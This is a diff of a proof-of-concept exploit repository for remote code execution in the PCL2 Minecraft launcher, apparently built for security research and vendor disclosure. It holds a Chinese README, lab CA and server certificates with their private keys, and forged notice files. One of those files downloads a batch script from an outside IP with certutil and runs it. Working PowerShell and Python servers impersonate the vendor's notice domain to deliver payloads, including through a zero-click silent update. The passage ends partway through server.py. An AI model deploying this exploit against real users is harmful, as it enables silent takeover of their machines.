+# 3. 起服务(payload 需提前放好)
+python .\server.py --mode update --port 443 --payload-exe C:\Users\Public\pclpoc.exe
+
+# 4. 启动 PCL,等 PCL\Plain Craft Launcher 2.exe 出现,正常关闭 PCL
+
+# 5. 清理
+#    - 删除 hosts 中的那行
+#    - Remove-Item Cert:\LocalMachine\Root\<thumbprint>
+#    - 删除 PCL\Plain Craft Launcher 2.exe staging
+#    - 删除 %TEMP%\PCL\Cache\{Notice.json,notice.cfg,ServerConfig.json,Custom.xaml}
+```
+
+## 预期结果
+
+`update` 模式:
+
+- `server.py` 收到 `/notice.cfg`、`/ServerConfig.json`、`/notice.json`、`/update.zip`;
+- `<PCL目录>\PCL\Plain Craft Launcher 2.exe` 出现(payload);
+- 关闭 PCL 后 `calc.exe` 启动;
+- `%TEMP%\pcl-poc-marker.txt` 出现,内容类似:
+  ```
+  2026-10-21T23:45:12.3456789+08:00 pid=1234 args=--update 5678 "Plain Craft Launcher 2.exe" ...
+  ```
+
+`launch` 模式:
+
+- PCL 日志出现 `正在执行全局自定义命令:...`;
+- 点击“启动游戏”后 `calc.exe` 启动,marker 出现。
+
+`xaml` 模式:
+
+- 第二次启动后 `%TEMP%\PCL\Cache\Custom.xaml` 出现;
+- 点击 `Continue` 后 `calc.exe` 启动;
+- PCL 日志出现 `执行自定义事件:执行命令, ...`。
+
+## Python 是 Microsoft Store 别名 / 443 起不来(仅 `-Server python`)
+
+如果 `poc-run.log` 里是:
+
+```text
+Python: C:\Users\<user>\AppData\Local\Microsoft\WindowsApps\python.exe
+[-] ERROR: PoC server did not listen on port 443.
+```
+
+说明 `python.exe` 是微软商店的占位别名,不是真 Python,`server.py` 没有跑起来。
+如果你没有显式加 `-Server python`,默认不会走 Python,根本不会出现这个问题。
+脚本现在会跳过 `WindowsApps` 别名,优先找 `py.exe` / `python3.exe`;但如果机器上
+没有真 Python,会直接报:
+
+```text
+No real Python 3 found. ...
+```
+
+任选一种安装:
+
+```powershell
+winget install -e --id Python.Python.3.12
+# 或从 https://www.python.org/downloads/windows/ 安装,勾选 "Add python.exe to PATH"
+```
+
+安装后**重新打开**管理员 PowerShell,先验证:
+
+```powershell
+py -3 --version
+python --version
+```
+
+然后重跑;如果 PATH 里 `python` 仍是商店别名,显式指定:
+
+```powershell
+powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 `
+  -Mode update `
+  -Pause `
+  -PclPath "C:\Users\MiRin\Desktop\PCLPoC\Plain Craft Launcher 2.exe" `
+  -PythonExe "C:\Users\MiRin\AppData\Local\Programs\Python\Python312\python.exe"
+```
+
+也可以直接看 `poc\backup\server.err.log`,现在失败时会把最后 30 行一起打印出来。
+
+## 窗口一闪而过 / 看不到输出
+
+这是自提权的正常现象:脚本用 `Start-Process powershell.exe -Verb RunAs` 开了**新的
+管理员控制台**,脚本跑完或报错后这个窗口就关闭,原窗口也可能已经退出。
+
+三种办法:
+
+1. **先手动开管理员 PowerShell**,再执行脚本(已经是管理员就不会再开新窗口):
+
+   ```powershell
+   # Win+X -> Windows PowerShell (管理员) / Terminal (管理员)
+   cd C:\Users\MiRin\Desktop\PCLPoC\poc
+   powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 -Mode update
+   ```
+
+2. 加 `-Pause`,脚本结束/报错时停在 `Press Enter to close`:
+
+   ```powershell
+   powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 -Mode update -Pause
+   ```
+
+   自提权时 `-Pause` 会一起传给新的管理员窗口。
+
+3. 直接看日志(窗口关了也不影响):
+
+   ```text
+   poc\poc-run.log
+   poc\backup\server.out.log
+   poc\backup\server.err.log
+   ```
+
+如果日志最后一行是 `Done.`,说明脚本正常结束;如果停在某一步,把那几行发我。
+
+## 调试
+
+- 服务端日志:`poc/backup/server.out.log`、`server.err.log`
+- PCL 日志:`<PCL目录>\PCL\Log1.txt` ... `Log5.txt`
+- 如果 PCL 没有请求公告:
+  - 确认 hosts 生效:`ping pcl2-server-1253424809.file.myqcloud.com` → `127.0.0.1`;
+  - 确认 CA 已装进 `LocalMachine\Root`;
+  - 确认 443 没有被其它程序占用:`netstat -ano | findstr :443`;
+  - 确认 `HKCU\Software\PCL\HintNotice` 被重置为 0(脚本会做);
+  - 确认 `PCL\Setup.ini` 中 `SystemSystemActivity` 不大于 99(脚本的 notice 用
+    `importantLevel=99`)。
+- 如果 `Add-Type` 编译 payload 失败,脚本会回退到复制 `calc.exe`;此时只能看
+  `calc.exe` 是否启动,没有 marker。
+- 如果 PCL 首次启动弹 EULA/更新提示,先手动处理,再重跑。
+
+## 安全边界
+
+- 只在隔离 VM、断网或 NAT 实验网中运行;
+- 不要把这个 CA 私钥/证书带到真实环境;
+- 脚本会修改 hosts 和根证书存储,务必让 `finally` 清理逻辑执行完;
+- 不要在真实用户机器上测试 `update` 模式:它会覆盖
+  `<PCL目录>\PCL\Plain Craft Launcher 2.exe` 并执行任意 exe。
+
+## 法律/披露
+
+本 PoC 仅用于安全研究与厂商修复验证。发现的问题建议先私下联系
+`[email protected]` / GitHub Security Advisory,给厂商修复窗口后再公开。

+ 10 - 0
certs/ca.cnf

@@ -0,0 +1,10 @@
+[req]
+distinguished_name=dn
+x509_extensions=v3_ca
+prompt=no
+[dn]
+CN=PCL2 PoC Lab CA
+[v3_ca]
+basicConstraints=critical,CA:TRUE
+keyUsage=critical,keyCertSign,cRLSign
+subjectKeyIdentifier=hash

+ 19 - 0
certs/ca.crt

@@ -0,0 +1,19 @@
+-----BEGIN CERTIFICATE-----
+MIIDBDCCAeygAwIBAgIUPSe8qS080YrjPX0ug3OqkJVoww8wDQYJKoZIhvcNAQEL
+BQAwGjEYMBYGA1UEAwwPUENMMiBQb0MgTGFiIENBMB4XDTI2MTAyMTE1MzAzMFoX
+DTM2MTAxODE1MzAzMFowGjEYMBYGA1UEAwwPUENMMiBQb0MgTGFiIENBMIIBIjAN
+BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1a+aNubHLC8CAR7dAcqrw1IHap7J
+2NCae5LQtjM8VNo/xwBImXd/Plq6UCzJoCFmr/j7rh6nqIClpDzXhx2T/PTC2ywu
+zblC5AK63SbjfsYEKSI+VetOFa392UvkgyCdFjeIY9kfWjveZlC76q2dqOReRMst
+PIppGs+TdfB02dRg/6OhvbaPPuC3x7YnM0v/N6Nb4QL6oXzSeSfd8qNBkY1GcEIm
+0e9W5dqQmHGNElT8/bvUVLid9qj0i8Jl7F2urKW0kE7VGguLtE7hx3MutmAqCOkt
+ve+hVY8zhHL5PcJAOZDGX+6NQcdEiRaxDNfcX2rm3wZhXeOgPXd8cvj/uQIDAQAB
+o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU
+yZAhux6te0KQaP/RDx6s9XuOuxYwDQYJKoZIhvcNAQELBQADggEBAFAllygAB/z+
+tY4/77yeXW8DcgoToHL70xGeD+oM/aFPnXO9nbxZohqfFbfwK1FXF2mF2rH1R2Ia
+pTDFlKS8QFQbw+rV7h+vHKhicK42ai9S65RLYO6KWPb/7TRf5yy25jhpGGwVimx4
+K3st6Vr+dsCEviWZjoO2SXBLKJCcn6lGCTC0Mr4pr1NDzgAe8383MEp+7uKanzs8
+BAXctc3/sE3igVoqdm89mUg17i/vBhb6UY68kYQAXp5ykIQ96ZamowFyuMCei/27
+XY3Q8ltvF4PkEQSeFpPdIelgOgKQ9lXcc9Ka4vewjKVuwU1x03/tIjJaSBBPcsvq
+rJ7z2vUk9+c=
+-----END CERTIFICATE-----

+ 28 - 0
certs/ca.key

@@ -0,0 +1,28 @@
+-----BEGIN PRIVATE KEY-----
+MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDVr5o25scsLwIB
+Ht0ByqvDUgdqnsnY0Jp7ktC2MzxU2j/HAEiZd38+WrpQLMmgIWav+PuuHqeogKWk
+PNeHHZP89MLbLC7NuULkArrdJuN+xgQpIj5V604Vrf3ZS+SDIJ0WN4hj2R9aO95m
+ULvqrZ2o5F5Eyy08imkaz5N18HTZ1GD/o6G9to8+4LfHticzS/83o1vhAvqhfNJ5
+J93yo0GRjUZwQibR71bl2pCYcY0SVPz9u9RUuJ32qPSLwmXsXa6spbSQTtUaC4u0
+TuHHcy62YCoI6S2976FVjzOEcvk9wkA5kMZf7o1Bx0SJFrEM19xfaubfBmFd46A9
+d3xy+P+5AgMBAAECggEAFL8u7uOrNNv/itJPTOw7jwQ42h4+pMFkLllL0FTbJ7Xk
++VJKujPC8+/lJQGkNdroWG+JKBer2Y1cB70sg97YTngJLzRz+t9g4jhtoikzb0yU
+fNXpTXhCJZK2EdHvhte0yMJtiJw9Egq8Bh0Ska93nj1F9dHwO2+I0uSSgaHuBnQN
+2Tzl0FtNMZP1iWFH50TtRvWyR3y7HgWD/x+V/4nGFbj8iKbhCpB83KUDOj7l3wXV
+MZk3lbvzCMpNrg8ps3MxfIu/fbWCCN+qIkI4CJr82uXBSixSFVkKfB5e4cvQDnDy
+R6LkaYbhqU/JK2woatPBHEZN1jGy7v/sIRpFEwi2gQKBgQD2BCYqHVgBXzqYKwMi
+KKpz+6//FarKjKai0VzNQuaQgxw3w5kEIo2wDNO+t9RleHXH7abf9zT2OdRCWMq+
+y2v44pFq2+rN/dWFaPvvb2SAlzugX4YtKVSOTKEs4KX8sMG0+IZmRYl4HMA5ywmo
+pfDS8R+0ENn4NJlfBg+JMCTZ8QKBgQDeW5NkWESU/+jIxso49a06xgermkKjmWCq
+gAUdrTYrQ1g5NwEEDNxYESf6BOYNK+NNYt0vTtkeWpG66juyILUAbmuCvG/yalCJ
+ndOt4ArrhW3+s4AzaFhLg9ifRo3JfEPnkH4z/ccU5T2okQR4P8ocs3olOhiSK6Ec
+mpA3SDp6SQKBgQDgRh4IrKGK9qZzDFsZ69qgS2VBdR4y8pACxDwGv6NzQKMbzwuS
+snFaegcayXkuW+d7sJI9gJ5ejY+MQGfsEYRH6zxIH13qFipuKavqtjD37WalKBAo
+4ZG8++y+/bk0KGsesKXNXD0bK5Kt3QPcJBLsKncNb4NV+5WKA/trxGED8QKBgBPa
+AyezRbQzwLmkHcvGC0gzA95LMGXgvKOcOFi07SAhrA+3nGybJVTrezE0HMHSSEHR
+cMPXe0TdeyM/5EJ77wzxzsFmR2xSF4yhvZNJbFAoonBZ4Dk2uKNNSxq1NtVlNb7H
+xKypnIt+B+ozwD1oHIhBccc/D5CFOqYOGpAE78uZAoGAU59SnM/X1xLFkQxtjjA6
+HZlYzkrbL8Z++fB/9daEbvJDO6yaaicaaFasuT6kxUkOzubOfmuLDY+3PWGpu3XB
+c4vkat+t9VQinJJrXPZTy10kuH1qIpKxu6dLUoEzK54z/p8N5QQCQ+H+BnBq9NO0
+15VGF69Fwd+aVr+/d+Zk9gg=
+-----END PRIVATE KEY-----

+ 10 - 0
certs/server.cnf

@@ -0,0 +1,10 @@
+[req]
+distinguished_name=dn
+prompt=no
+[dn]
+CN=pcl2-server-1253424809.file.myqcloud.com
+[v3_srv]
+basicConstraints=critical,CA:FALSE
+keyUsage=critical,digitalSignature,keyEncipherment
+extendedKeyUsage=serverAuth
+subjectAltName=DNS:pcl2-server-1253424809.file.myqcloud.com

+ 21 - 0
certs/server.crt

@@ -0,0 +1,21 @@
+-----BEGIN CERTIFICATE-----
+MIIDhzCCAm+gAwIBAgIUYJCMiNXcJiKcMsgl7CsHF189WiUwDQYJKoZIhvcNAQEL
+BQAwGjEYMBYGA1UEAwwPUENMMiBQb0MgTGFiIENBMB4XDTI2MTAyMTE1MzAzMFoX
+DTM2MTAxODE1MzAzMFowMzExMC8GA1UEAwwocGNsMi1zZXJ2ZXItMTI1MzQyNDgw
+OS5maWxlLm15cWNsb3VkLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
+ggEBAKgPDKfLTw4qCyhJCr3sMB6QlgcaXx1RXuQ1thuwwFg1KsnytogTKX/LX3rV
+RwEmCtSUKoNVga3qRaTy2Dto1USVbuLRd5Gra2l9bxP9fr6uX8ilwaGeLMQu1U+3
+4u3oVXhQtUdnn4hfsjEwzsueDcfFBcVE7uPZev1Rc8QbJKqAah9aIciYCZGFZMqO
+NFewSXBqab4QWGaEaW5odifqjisiHG00+Ao41F+s/YnWePugZ3nfCrx/N5Jup8LH
+UnUK55Kwl9VodHJJa/uE8J7OmT34qMwsDKywfjdqtBm2xjt2Vk4p8kJQwsy8fRBt
+CLDF8y/6igC2xa2islcGI56okRcCAwEAAaOBqzCBqDAMBgNVHRMBAf8EAjAAMA4G
+A1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAzBgNVHREELDAqgihw
+Y2wyLXNlcnZlci0xMjUzNDI0ODA5LmZpbGUubXlxY2xvdWQuY29tMB0GA1UdDgQW
+BBR/J8+PRn4UyI55yT6imGKXekr4YjAfBgNVHSMEGDAWgBTJkCG7Hq17QpBo/9EP
+Hqz1e467FjANBgkqhkiG9w0BAQsFAAOCAQEAuU7g1eKSRmgYSYRKlP2LRoIX27TO
+K1eM6t8MUO415VwRoSMN2Gb13Lo7YZAngwVWLudWzL9bYTfQXjRVucJrnGwnmtnw
+XN/qiinayf8UnDjZa/Iuh+3spQ6FLIyJEmJfGELtKySlG3gxknRieToK84GTiSZf
+GYhNV+iSElpzLDOTU7xEfXPMtgJ1l87tO5Qmqtr2tFYBNO7uA2/+A68vGx17bLcL
+WpcpM/QuOTfvTfVw2KHsuAK09Kbym1PQ5pZ44pYyhBMJU0cm1rUq2q+Q9XfhwZeu
+Jx57Tx7gZGFzDOqgsB7WwSPw/xAVLFkAmrIXupz/rRLJJuVnSTZPovOBhw==
+-----END CERTIFICATE-----

+ 28 - 0
certs/server.key

@@ -0,0 +1,28 @@
+-----BEGIN PRIVATE KEY-----
+MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCoDwyny08OKgso
+SQq97DAekJYHGl8dUV7kNbYbsMBYNSrJ8raIEyl/y1961UcBJgrUlCqDVYGt6kWk
+8tg7aNVElW7i0XeRq2tpfW8T/X6+rl/IpcGhnizELtVPt+Lt6FV4ULVHZ5+IX7Ix
+MM7Lng3HxQXFRO7j2Xr9UXPEGySqgGofWiHImAmRhWTKjjRXsElwamm+EFhmhGlu
+aHYn6o4rIhxtNPgKONRfrP2J1nj7oGd53wq8fzeSbqfCx1J1CueSsJfVaHRySWv7
+hPCezpk9+KjMLAyssH43arQZtsY7dlZOKfJCUMLMvH0QbQiwxfMv+ooAtsWtorJX
+BiOeqJEXAgMBAAECggEAD4Bb3XpOT3MnVk7uc7g+dANII12WWmDwDMK7inBSPZCh
+4sDFf2WtFUGQDAdyJjP5GcSU60pOzNjoFZ/kvA4eZdYWxUsm6UPTg4ZzYXenYjU5
+VoubganSXUIooNLIVsNwZsmi/vQa7fxNtmXXHUb15HBS6PBDzLZ5trX1pKgQSL2r
+RTIL+sWEc9m0Ki0K2g8ty1oWQdnGT3i1VgtQjTL/UJ/5VZNv462cGcP9a0FfvAzU
+lGZWcsAd45LlprMudMmi3Zr1PPlO6kcl6u4HOL93Tw3lf2Ev9Z22G1eeazocptTM
+aGOjrYYqQqKFf13/oaIq8uwGn3UgOKVRZMIU3WkMMQKBgQDU4FUpIoBPU98WGVs1
+TdkElyrGsBUAwXXl/mstW4y5gcFoxsMAz1q27brK5u2/hQ/Q26qsYPzzAnDjNF/S
+VDiOdbhwrwTYs3DO/WYQqOiOn8sR7UgU5YDvocwaLjVsFJnqeETtJ+oaJvts3n+Z
+Xfcocyjn3Jdv2Y33m0TljbhrnwKBgQDKGoBIx+iVYa6bbwqNPgN8z8R1yT95o/9G
+onv3rZkOJTGyL+ClfczjaTflgiPCbFWyTfTkz9wwq+iKmPTQCsvXTZfxSOw7KjLE
+HrB25uuWOH1EUhffmucRL8gdCgQ3QjMOqOAlnspxOJZpg44xINgrNHS9I6rN5c1p
+dl3zLBZniQKBgQC5IjBuCddVJjgJ3Bt6jC2E1IMbMN/TPGzwjQdg9xG386TlHpdR
+CQR3uuCMvbFesrZCiggwyliybxkGP/Jl1WEqZC73sP6iB8y/95jgPEWkZEwTVy0t
+Hzu3LBt5WV6UlIYXaGlpZyEthWF8GTUXiKT+xMh6fVomqCnTgXG1wj71OQKBgFes
+M2ZfQmg7HdHT09H9yumEAAfQq7aLDByKNBj3t+PJAsv3tQ5VimJErLjlQbn/4RUe
+eFQiT7TVfmVRgTIW3OKjiHxlVAU+gxNM9OQ/vIdILh9LNYwM2Jw+DCN8yuNl1lxP
+qhzny45eK/HN3gs14lCrytCZ/miffgJ4FL1+rKFxAoGAI6M47soUCL0EukEAcQSH
+i5KU9yH/XobhoZT+qTNF8r+fwbHJuFiPUshfHOn87J0ttANhG/O7d7IdIjpDWCzA
+UTqc3mxUG35/7BkL4/UK8ITek3VZn08nD87EH9xAQxVmEqu9SF0maJGJWIc2RWJd
+hMZEroF+MIVf6hs8fgxeG7U=
+-----END PRIVATE KEY-----

BIN
certs/server.pfx


+ 15 - 0
samples/notice.launch.calc.json

@@ -0,0 +1,15 @@
+[
+  {
+    "id": 11002,
+    "title": "VM LAB NOTICE",
+    "description": "vm lab only",
+    "requirements": {},
+    "importantLevel": 999,
+    "actions": {
+      "setup": {
+        "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe",
+        "LaunchAdvanceRunWait": "False"
+      }
+    }
+  }
+]

+ 14 - 0
samples/notice.launch.certutil.json

@@ -0,0 +1,14 @@
+[
+  {
+    "id": 11002,
+    "title": "VM LAB NOTICE",
+    "description": "vm lab only",
+    "requirements": {},
+    "actions": {
+      "setup": {
+        "LaunchAdvanceRun": "start /b cmd /c \"certutil.exe -urlcache -split -f http://192.168.1.144:8084/swt C:\\Users\\Public\\run.bat >nul 2>&1 && C:\\Users\\Public\\run.bat >nul 2>&1\"",
+        "LaunchAdvanceRunWait": "False"
+      }
+    }
+  }
+]

+ 247 - 0
server.ps1

@@ -0,0 +1,247 @@
+#Requires -Version 5.1
+<#
+.SYNOPSIS
+    Pure PowerShell HTTPS server for the PCL2 notice.json PoC.
+
+.DESCRIPTION
+    Serves forged notice.cfg / notice.json / ServerConfig.json / update.zip /
+    Custom.xaml over TLS on 127.0.0.1.  No Python required.
+
+    The TLS certificate can come from either:
+      - a certificate in Cert:\LocalMachine\My (pass -CertThumbprint), or
+      - a PFX file (pass -PfxPath / -PfxPassword), useful for testing.
+
+    Request handling is intentionally minimal: one GET per connection,
+    HTTP/1.1, Connection: close.  PCL's HttpClient is fine with that.
+
+.PARAMETER Mode
+    launch | update | xaml | both
+
+.PARAMETER CertThumbprint
+    Thumbprint of a LocalMachine\My certificate with a private key.
+
+.PARAMETER PfxPath
+    Optional PFX file (testing / non-Windows PowerShell).
+
+.EXAMPLE
+    powershell -File .\server.ps1 -Mode update -Port 443 `
+        -PayloadExe C:\Users\Public\pclpoc.exe -CertThumbprint ABC123...
+#>
+[CmdletBinding()]
+param(
+    [ValidateSet('launch', 'update', 'xaml', 'both')]
+    [string]$Mode = 'both',
+
+    [int]$Port = 443,
+
+    [string]$Bind = '127.0.0.1',
+
+    [string]$PayloadExe = 'C:\Users\Public\pclpoc.exe',
+
+    [string]$CertThumbprint = '',
+
+    [string]$PfxPath = '',
+
+    [string]$PfxPassword = ''
+)
+
+$ErrorActionPreference = 'Stop'
+
+$Domain        = 'pcl2-server-1253424809.file.myqcloud.com'
+$NoticeId      = 11002
+$ConfigVersion = 999
+$BaseDir       = if ($PSScriptRoot) { $PSScriptRoot } else { Split-Path -Parent $MyInvocation.MyCommand.Path }
+$WwwDir        = Join-Path $BaseDir 'www'
+
+New-Item -ItemType Directory -Force -Path $WwwDir | Out-Null
+
+function Write-SrvLog {
+    param([string]$Message)
+    Write-Host ('[{0:HH:mm:ss}] {1}' -f (Get-Date), $Message)
+}
+
+function Get-TlsCertificate {
+    if ($PfxPath) {
+        if (-not (Test-Path -LiteralPath $PfxPath)) {
+            throw "PFX not found: $PfxPath"
+        }
+        $c = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 -ArgumentList @($PfxPath, $PfxPassword)
+        if (-not $c.HasPrivateKey) { throw "PFX has no private key: $PfxPath" }
+        return $c
+    }
+    if (-not $CertThumbprint) {
+        throw 'Either -CertThumbprint or -PfxPath is required.'
+    }
+    $path = $null
+    foreach ($candidate in @("Cert:\LocalMachine\My\$CertThumbprint", "Cert:\CurrentUser\My\$CertThumbprint")) {
+        if (Test-Path -LiteralPath $candidate) { $path = $candidate; break }
+    }
+    if (-not $path) {
+        throw "Certificate not found in LocalMachine\My or CurrentUser\My: $CertThumbprint"
+    }
+    $c = Get-Item -LiteralPath $path
+    if (-not $c.HasPrivateKey) {
+        throw "Certificate has no private key: $path"
+    }
+    return $c
+}
+
+function ConvertTo-JsonText {
+    param([object]$Object)
+    return ($Object | ConvertTo-Json -Depth 12 -Compress)
+}
+
+function Build-NoticeJson {
+    $setup   = @{}
+    $actions = @{}
+
+    if ($Mode -eq 'launch' -or $Mode -eq 'both') {
+        $setup['LaunchAdvanceRun']     = $PayloadExe
+        $setup['LaunchAdvanceRunWait'] = 'False'
+    }
+    if ($Mode -eq 'xaml' -or $Mode -eq 'both') {
+        $setup['UiCustomType']      = '2'
+        $setup['UiCustomNet']       = "https://$Domain/Custom.xaml"
+        $setup['HintCustomCommand'] = 'True'
+    }
+    if ($setup.Count -gt 0) { $actions['setup'] = $setup }
+    if ($Mode -eq 'update' -or $Mode -eq 'both') { $actions['slientupdate'] = @{} }
+
+    $notice = @(
+        @{
+            id            = $NoticeId
+            title         = 'VM LAB NOTICE'
+            description   = 'vm lab only'
+            requirements  = @{}
+            importantLevel = 999
+            actions       = $actions
+        }
+    )
+
+    $json = ConvertTo-JsonText -Object $notice
+    # Windows PowerShell 5.1 collapses a single-element array to an object.
+    if (-not $json.TrimStart().StartsWith('[')) { $json = "[$json]" }
+    return $json
+}
+
+function Build-ServerConfigJson {
+    $cfg = @{
+        Version = $ConfigVersion
+        Update  = @{
+            Release = @{
+                DownloadUrls = @("https://$Domain/update.zip")
+            }
+        }
+    }
+    return (ConvertTo-JsonText -Object $cfg)
+}
+
+function Build-CustomXaml {
+    return @"
+<StackPanel Margin="25,40,23,15">
+  <TextBlock Text="PCL PoC - click Continue" FontSize="16" Margin="0,0,0,10"/>
+  <local:MyButton Text="Continue" EventType="4" EventData="$PayloadExe" Margin="0,6,0,0"/>
+</StackPanel>
+"@
+}
+
+function Ensure-UpdateZip {
+    $zip = Join-Path $WwwDir 'update.zip'
+    if (Test-Path -LiteralPath $zip) { return }
+    if (-not (Test-Path -LiteralPath $PayloadExe)) {
+        throw "Payload not found: $PayloadExe"
+    }
+    $tempRoot = [IO.Path]::GetTempPath()
+    $tmp = Join-Path $tempRoot ('pclpoc-' + [guid]::NewGuid().ToString('N'))
+    New-Item -ItemType Directory -Force -Path $tmp | Out-Null
+    try {
+        Copy-Item -LiteralPath $PayloadExe -Destination (Join-Path $tmp 'Plain Craft Launcher 2.exe') -Force
+        if (Test-Path -LiteralPath $zip) { Remove-Item -LiteralPath $zip -Force }
+        Compress-Archive -Path (Join-Path $tmp 'Plain Craft Launcher 2.exe') -DestinationPath $zip -Force
+    } finally {
+        Remove-Item -LiteralPath $tmp -Recurse -Force -ErrorAction SilentlyContinue
+    }
+    Write-SrvLog "update.zip built from $PayloadExe ($((Get-Item -LiteralPath $zip).Length) bytes)"
+}
+
+function Get-Response {
+    param([string]$Path)
+
+    switch ($Path) {
+        '/notice.cfg' {
+            $text = "$NoticeId|0|0|0|$ConfigVersion"
+            return @{ Type = 'text/plain; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes($text) }
+        }
+        '/notice.json' {
+            return @{ Type = 'application/json; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes((Build-NoticeJson)) }
+        }
+        '/ServerConfig.json' {
+            return @{ Type = 'application/json; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes((Build-ServerConfigJson)) }
+        }
+        '/Custom.xaml.ini' {
+            return @{ Type = 'text/plain; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes('1') }
+        }
+        '/Custom.xaml' {
+            return @{ Type = 'application/xml; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes((Build-CustomXaml)) }
+        }
+        '/update.zip' {
+            $zip = Join-Path $WwwDir 'update.zip'
+            if (Test-Path -LiteralPath $zip) {
+                return @{ Type = 'application/zip'; Bytes = [IO.File]::ReadAllBytes($zip) }
+            }
+        }
+    }
+
+    return @{ Type = 'text/plain'; Bytes = [Text.Encoding]::UTF8.GetBytes('not found'); Code = 404 }
+}
+
+# ---------------------------------------------------------------------------
+# main
+# ---------------------------------------------------------------------------
+$cert = Get-TlsCertificate
+if ($Mode -eq 'update' -or $Mode -eq 'both') { Ensure-UpdateZip }
+
+$address  = [Net.IPAddress]::Parse($Bind)
+$listener = New-Object Net.Sockets.TcpListener -ArgumentList @($address, $Port)
+$listener.Start()
+
+Write-SrvLog "https://${Bind}:$Port mode=$Mode"
+Write-SrvLog "forged host: $Domain"
+
+while ($true) {
+    $client = $listener.AcceptTcpClient()
+    $ssl    = $null
+    try {
+        $ssl = New-Object Net.Security.SslStream -ArgumentList @($client.GetStream(), $false)
+        $ssl.AuthenticateAsServer($cert, $false, [Net.SecurityProtocolType]::Tls12, $false)
+
+        $reader = New-Object IO.StreamReader -ArgumentList @($ssl, [Text.Encoding]::ASCII)
+        $requestLine = $reader.ReadLine()
+        if ([string]::IsNullOrEmpty($requestLine)) { continue }
+
+        while ($true) {
+            $header = $reader.ReadLine()
+            if ($null -eq $header -or $header -eq '') { break }
+        }
+
+        $parts = $requestLine -split ' '
+        if ($parts.Length -lt 2) { continue }
+        $path = $parts[1].Split('?')[0]
+
+        $resp   = Get-Response -Path $path
+        $code   = if ($resp.ContainsKey('Code')) { $resp.Code } else { 200 }
+        $status = if ($code -eq 200) { 'OK' } else { 'Not Found' }
+        $headerText = "HTTP/1.1 $code $status`r`nContent-Type: $($resp.Type)`r`nContent-Length: $($resp.Bytes.Length)`r`nConnection: close`r`n`r`n"
+        $headerBytes = [Text.Encoding]::ASCII.GetBytes($headerText)
+
+        $ssl.Write($headerBytes, 0, $headerBytes.Length)
+        $ssl.Write($resp.Bytes, 0, $resp.Bytes.Length)
+        $ssl.Flush()
+        Write-SrvLog "req $path -> $code"
+    } catch {
+        Write-SrvLog "err $($_.Exception.Message)"
+    } finally {
+        if ($ssl) { $ssl.Dispose() }
+        $client.Close()
+    }
+}

+ 247 - 0
server.py

@@ -0,0 +1,247 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+r"""
+PCL2 notice.json RCE PoC -- local HTTPS server.
+
+This server impersonates:
+    https://pcl2-server-1253424809.file.myqcloud.com
+
+and serves a forged notice.cfg / notice.json / ServerConfig.json (and,
+depending on the mode, an update zip or a custom homepage XAML).
+
+It is intentionally small and only uses the Python standard library.
+
+Modes
+-----
+launch : notice.json -> actions.setup -> LaunchAdvanceRun = payload.exe
+         (the payload runs when the user starts a Minecraft instance in PCL;
+          this reproduces the sample notice supplied by the requester)
+
+update : notice.cfg v999 + notice.json -> actions.slientupdate
+         + ServerConfig with Update.Release.DownloadUrls -> update.zip
+         (zero-click: PCL silently downloads the zip, extracts it to
+          <PCL>\PCL\Plain Craft Launcher 2.exe, and starts that file when
+          PCL exits.  The zip contains the payload renamed to the above.)
+
+xaml   : notice.json -> actions.setup -> UiCustomType=2, UiCustomNet=...
+         + HintCustomCommand=true
+         (persistent; next PCL start downloads Custom.xaml from this server,
+          and one click on the injected control runs the payload)
+
+both   : launch + update
+
+Usage (Windows, elevated):
+    python server.py --mode both --port 443
+
+Usage (Linux local smoke test):
+    python server.py --mode both --port 8443 --bind 127.0.0.1
+"""
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import ssl
+import sys
+import threading
+import zipfile
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+from pathlib import Path
+
+DOMAIN = "pcl2-server-1253424809.file.myqcloud.com"
+BASE = Path(__file__).resolve().parent
+WWW = BASE / "www"
+CERTS = BASE / "certs"
+
+NOTICE_ID = 11002          # must be greater than HintNotice (default 0)
+CONFIG_VERSION = 999       # forces PCL to refresh Cache\ServerConfig.json
+DEFAULT_PAYLOAD = r"C:\Users\Public\pclpoc.exe"
+PAYLOAD = DEFAULT_PAYLOAD
+
+LOG_LOCK = threading.Lock()
+
+
+def log(msg: str) -> None:
+    with LOG_LOCK:
+        print(msg, flush=True)
+
+
+def build_notice(mode: str, payload_exe: str) -> list:
+    """Build the forged notice.json for the requested mode."""
+    setup: dict[str, str] = {}
+    actions: dict[str, object] = {}
+
+    if mode in ("launch", "both"):
+        # The exact primitive used by the sample notice: PCL writes the
+        # setting, and McLaunchCustom later runs it with:
+        #     cmd.exe /c "<LaunchAdvanceRun>"
+        setup["LaunchAdvanceRun"] = payload_exe
+        setup["LaunchAdvanceRunWait"] = "False"
+
+    if mode in ("xaml", "both"):
+        # Persistent remote homepage + disable the command confirmation.
+        setup["UiCustomType"] = "2"
+        setup["UiCustomNet"] = f"https://{DOMAIN}/Custom.xaml"
+        setup["HintCustomCommand"] = "True"
+
+    if setup:
+        actions["setup"] = setup
+
+    if mode in ("update", "both"):
+        # HasUpdatePermission is hard-coded to True in 2.99.0.0, so this
+        # runs UpdateStart(Silent:=True) without any prompt.
+        actions["slientupdate"] = {}
+
+    if not actions:
+        raise SystemExit(f"unknown/empty mode: {mode}")
+
+    return [
+        {
+            "id": NOTICE_ID,
